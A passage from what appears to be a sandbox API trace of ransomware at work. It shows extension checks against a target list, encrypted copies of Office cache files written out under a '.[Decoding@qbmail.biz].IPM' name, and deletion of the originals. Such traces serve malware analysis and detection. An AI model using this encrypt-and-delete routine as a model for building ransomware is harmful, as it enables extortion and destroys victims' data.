lstrlenW (lpString=".zip") returned 4 [0072.779] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.779] lstrlenW (lpString=".rar") returned 4 [0072.779] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.779] lstrlenW (lpString=".bz2") returned 4 [0072.779] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.779] lstrlenW (lpString=".7z") returned 3 [0072.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.779] lstrlenW (lpString=".dbf") returned 4 [0072.779] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.779] lstrlenW (lpString=".1cd") returned 4 [0072.779] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.779] lstrlenW (lpString=".jpg") returned 4 [0072.780] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.780] lstrlenW (lpString=".doc") returned 4 [0072.780] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.780] lstrlenW (lpString=".docx") returned 5 [0072.780] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0072.780] lstrlenW (lpString=".pdf") returned 4 [0072.780] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.780] lstrlenW (lpString=".xls") returned 4 [0072.780] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.780] lstrlenW (lpString=".xlsx") returned 5 [0072.780] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0072.780] lstrlenW (lpString=".ppt") returned 4 [0072.780] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.780] lstrlenW (lpString=".zip") returned 4 [0072.780] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.781] lstrlenW (lpString=".rar") returned 4 [0072.781] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.781] lstrlenW (lpString=".bz2") returned 4 [0072.781] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.781] lstrlenW (lpString=".7z") returned 3 [0072.781] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.781] lstrlenW (lpString=".dbf") returned 4 [0072.781] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.781] lstrlenW (lpString=".1cd") returned 4 [0072.781] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.781] lstrlenW (lpString=".jpg") returned 4 [0072.781] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.782] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.782] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0072.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.784] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1606) returned 1 [0072.784] CloseHandle (hObject=0x1d8) returned 1 [0072.784] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0072.784] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0072.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.784] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.784] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.785] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0072.785] GetLastError () returned 0x0 [0072.785] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x646, lpOverlapped=0x0) returned 1 [0072.788] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x650, lpOverlapped=0x0) returned 1 [0072.790] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0072.791] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xf0, lpOverlapped=0x0) returned 1 [0072.791] SetEndOfFile (hFile=0x1bc) returned 1 [0072.791] CloseHandle (hObject=0x1bc) returned 1 [0072.792] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.792] SetEndOfFile (hFile=0x1d8) returned 1 [0072.794] CloseHandle (hObject=0x1d8) returned 1 [0072.795] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.795] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0072.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.795] lstrlenW (lpString=".doc") returned 4 [0072.796] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.796] lstrlenW (lpString=".docx") returned 5 [0072.796] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0072.796] lstrlenW (lpString=".pdf") returned 4 [0072.796] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.796] lstrlenW (lpString=".xls") returned 4 [0072.796] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.796] lstrlenW (lpString=".xlsx") returned 5 [0072.796] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0072.796] lstrlenW (lpString=".ppt") returned 4 [0072.796] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.796] lstrlenW (lpString=".zip") returned 4 [0072.796] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.796] lstrlenW (lpString=".rar") returned 4 [0072.796] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.796] lstrlenW (lpString=".bz2") returned 4 [0072.796] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.796] lstrlenW (lpString=".7z") returned 3 [0072.797] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.797] lstrlenW (lpString=".dbf") returned 4 [0072.797] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.797] lstrlenW (lpString=".1cd") returned 4 [0072.797] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.797] lstrlenW (lpString=".jpg") returned 4 [0072.797] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.797] lstrlenW (lpString=".doc") returned 4 [0072.797] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.797] lstrlenW (lpString=".docx") returned 5 [0072.798] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0072.798] lstrlenW (lpString=".pdf") returned 4 [0072.798] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.798] lstrlenW (lpString=".xls") returned 4 [0072.798] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.798] lstrlenW (lpString=".xlsx") returned 5 [0072.798] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0072.798] lstrlenW (lpString=".ppt") returned 4 [0072.798] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.798] lstrlenW (lpString=".zip") returned 4 [0072.798] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.798] lstrlenW (lpString=".rar") returned 4 [0072.798] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.798] lstrlenW (lpString=".bz2") returned 4 [0072.798] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.798] lstrlenW (lpString=".7z") returned 3 [0072.799] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.799] lstrlenW (lpString=".dbf") returned 4 [0072.799] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.799] lstrlenW (lpString=".1cd") returned 4 [0072.799] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0072.799] lstrlenW (lpString=".jpg") returned 4 [0072.799] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.799] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.800] lstrlenW (lpString="Setup.xml") returned 9 [0072.800] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0073.178] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1988) returned 1 [0073.178] CloseHandle (hObject=0x1f8) returned 1 [0073.178] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0073.178] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.178] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0073.178] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.179] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.179] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0073.179] GetLastError () returned 0x0 [0073.179] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x7c4, lpOverlapped=0x0) returned 1 [0073.414] WriteFile (in: hFile=0x1c8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0073.416] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0073.416] WriteFile (in: hFile=0x1c8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.416] SetEndOfFile (hFile=0x1c8) returned 1 [0073.416] CloseHandle (hObject=0x1c8) returned 1 [0073.417] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.418] SetEndOfFile (hFile=0x1f8) returned 1 [0073.419] CloseHandle (hObject=0x1f8) returned 1 [0073.420] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.420] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0073.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.421] lstrlenW (lpString=".doc") returned 4 [0073.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.421] lstrlenW (lpString=".docx") returned 5 [0073.421] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.421] lstrlenW (lpString=".pdf") returned 4 [0073.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.421] lstrlenW (lpString=".xls") returned 4 [0073.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.421] lstrlenW (lpString=".xlsx") returned 5 [0073.421] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.421] lstrlenW (lpString=".ppt") returned 4 [0073.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.421] lstrlenW (lpString=".zip") returned 4 [0073.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.421] lstrlenW (lpString=".rar") returned 4 [0073.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.421] lstrlenW (lpString=".bz2") returned 4 [0073.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.422] lstrlenW (lpString=".7z") returned 3 [0073.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.422] lstrlenW (lpString=".dbf") returned 4 [0073.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.422] lstrlenW (lpString=".1cd") returned 4 [0073.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.422] lstrlenW (lpString=".jpg") returned 4 [0073.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.422] lstrlenW (lpString=".doc") returned 4 [0073.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.422] lstrlenW (lpString=".docx") returned 5 [0073.422] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.423] lstrlenW (lpString=".pdf") returned 4 [0073.423] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.423] lstrlenW (lpString=".xls") returned 4 [0073.423] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.423] lstrlenW (lpString=".xlsx") returned 5 [0073.423] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.423] lstrlenW (lpString=".ppt") returned 4 [0073.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.423] lstrlenW (lpString=".zip") returned 4 [0073.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.423] lstrlenW (lpString=".rar") returned 4 [0073.423] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.423] lstrlenW (lpString=".bz2") returned 4 [0073.423] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.423] lstrlenW (lpString=".7z") returned 3 [0073.423] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.423] lstrlenW (lpString=".dbf") returned 4 [0073.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.423] lstrlenW (lpString=".1cd") returned 4 [0073.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.424] lstrlenW (lpString=".jpg") returned 4 [0073.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.424] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0073.424] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0073.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0073.425] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=819) returned 1 [0073.425] CloseHandle (hObject=0x1f8) returned 1 [0073.425] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0073.425] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0073.425] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.425] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0073.426] GetLastError () returned 0x0 [0073.426] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x333, lpOverlapped=0x0) returned 1 [0073.539] WriteFile (in: hFile=0x1c8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x340, lpOverlapped=0x0) returned 1 [0073.540] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0073.540] WriteFile (in: hFile=0x1c8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xf4, lpOverlapped=0x0) returned 1 [0073.541] SetEndOfFile (hFile=0x1c8) returned 1 [0073.581] CloseHandle (hObject=0x1c8) returned 1 [0073.617] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.617] SetEndOfFile (hFile=0x1f8) returned 1 [0073.619] CloseHandle (hObject=0x1f8) returned 1 [0073.619] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.619] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0073.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.620] lstrlenW (lpString=".doc") returned 4 [0073.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.620] lstrlenW (lpString=".docx") returned 5 [0073.620] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0073.620] lstrlenW (lpString=".pdf") returned 4 [0073.620] lstrcmpiW 